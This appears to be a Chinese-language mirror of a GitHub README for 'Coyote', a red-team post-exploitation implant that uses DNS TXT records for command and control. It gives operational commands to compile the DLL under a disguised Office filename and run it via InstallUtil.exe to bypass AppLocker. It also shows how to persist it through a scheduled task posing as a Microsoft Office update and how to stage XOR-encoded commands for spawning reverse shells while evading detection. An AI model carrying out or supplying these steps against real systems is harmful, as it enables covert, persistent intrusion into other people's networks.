TartarusLabs/Coyote

GitHub: TartarusLabs/Coyote

一款基于DNS隧道的轻量级Windows后渗透植入程序,用于在红队行动中隐蔽维持对被攻陷系统的长期访问权限。

Stars: 21 | Forks: 1

# Coyote Coyote 是一个独立的 C# 后渗透植入程序,用于在红队行动中维持对被攻陷 Windows 基础设施的访问权限。 * 使用 InstallUtil.exe 绕过应用程序白名单(例如 AppLocker)(参见 [MITRE ATT&CK ID: T1218.004](https://attack.mitre.org/techniques/T1218/004/)) * 通过递归 DNS 隧道从操作员处检索加密命令(参见 [MITRE ATT&CK ID: T1071.004](https://attack.mitre.org/techniques/T1071/004/)) * 在内存和网络上的占用空间极小 其基本原理是让红队将这个微小的 DLL 部署在被攻陷的 Windows 系统上,并让其定期轮询一个外观合法的 FQDN 的 DNS TXT 记录以检查指令。需要时,该 TXT 记录可以包含一个简单的 PowerShell 单行命令,以便向 VPS 生成交互式反向 Shell,或者根据操作员的要求,作为更复杂攻击阶段的第一阶段。Coyote 不用于对被攻陷系统进行交互式控制,而是用于维持访问权限,并根据需要生成其他工具(如反向 Shell、Meterpreter 等)。 ### 用法 首先编辑 coyote.cs 源文件,并将 c2domain 变量设置为您将用于 TXT 记录的子域名。 要在您自己的 Windows 主机上编译它: `C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /target:library /out:msoffice360.dll coyote.cs` 这将创建一个约 5 KB 的小型 DLL 文件,名为 msoffice360.dll(使用您认为能在目标系统上混入的任何文件名),您将把它放置在目标系统上。 要在目标工作站或服务器上执行一次: `C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U msoffice360.dll` 为了发挥作用,Coyote 需要以一定的时间间隔(例如每 24 小时或每次重启时)重复执行。有很多方法可以实现这一点。请参阅 [PayloadsAllTheThings - Windows Persistence](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Persistence.md) 查看一长串技术列表并选择一种。 作为一种示例方法,您可以将 DLL 隐藏在用户的 AppData 文件夹中,然后简单地创建一个新的计划任务: `schtasks /CREATE /SC DAILY /TN "Microsoft Office security updates task" /TR "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Users\Olivia\AppData\Local\Microsoft\msoffice360.dll" /ST 08:00` 这意味着每天 08:00,内置的 InstallUtil.exe 将导入并运行 DLL 的卸载函数,该函数随后将执行递归 DNS 查找,以检查当前是否有命令编码在 TXT 记录中,如果是,则执行该命令。这有望在被需要之前避开蓝队的检测,并作为用于维持网络远程访问的其他方法的备份。 要留下待执行的命令(通常用于生成交互式反向 Shell),请使用包含的 encrypt-payload.ps1 PowerShell 脚本。将您本应输入到命令行中的确切字符串提供给它,然后将加密输出复制到您编译植入程序时设置的子域名的 TXT 记录中。下次植入程序回连时,TXT 记录将被解密并执行。任何碰巧正在检查 DNS 流量的网络安全产品(许多网络甚至根本不执行此操作)都无法看到线路上的原始 Payload。 ### 概念验证 我们使用 encrypt-payload.ps1 PowerShell 脚本将我们的 Payload "calc.exe" 与密钥 "pizza" 进行异或 (XOR) 运算,并对结果进行 Base64 编码: ![Coyote payload encryption screenshot](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/a1bb8a5432103746.jpg) 使用 PowerShell 脚本的输出,我们在 DNS 服务器上创建一个 TXT 记录,如下所示: `updates.tartaruslabs.com TXT EwgWGU8VER8= 7200` 最好设置一个相当低的 TTL,这样您就不必每次修改 TXT 记录后等待太久,该记录才会从被攻陷网络自己的 DNS 服务器的缓存中丢弃并从权威 DNS 服务器刷新。在这种情况下,我们将 TTL 设置为 7200 秒,即 2 小时。 该记录保存后,我们从 Linux 笔记本电脑上确认其处于活动状态: `user@laptop:~$ host -t txt updates.tartaruslabs.com` `updates.tartaruslabs.com descriptive text "EwgWGU8VER8="` 在 coyote.cs 中,我们将 c2domain 的值设置为 "updates.tartaruslabs.com",将 XORkey 设置为 "pizza",然后在我们的 Windows VM 上对其进行编译。 我们执行植入程序,计算器果然打开了。 ![Coyote screenshot](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/8968a61c57103751.jpg)
标签:AI合规, AppLocker绕过, CTF学习, DLL, DNS隧道, InstallUtil, OpenCanary, 内网渗透, 反向Shell, 命令与控制, 嗅探欺骗, 应用白名单绕过, 数据展示, 权限维持, 植入物, 红队, 网络安全, 隐私保护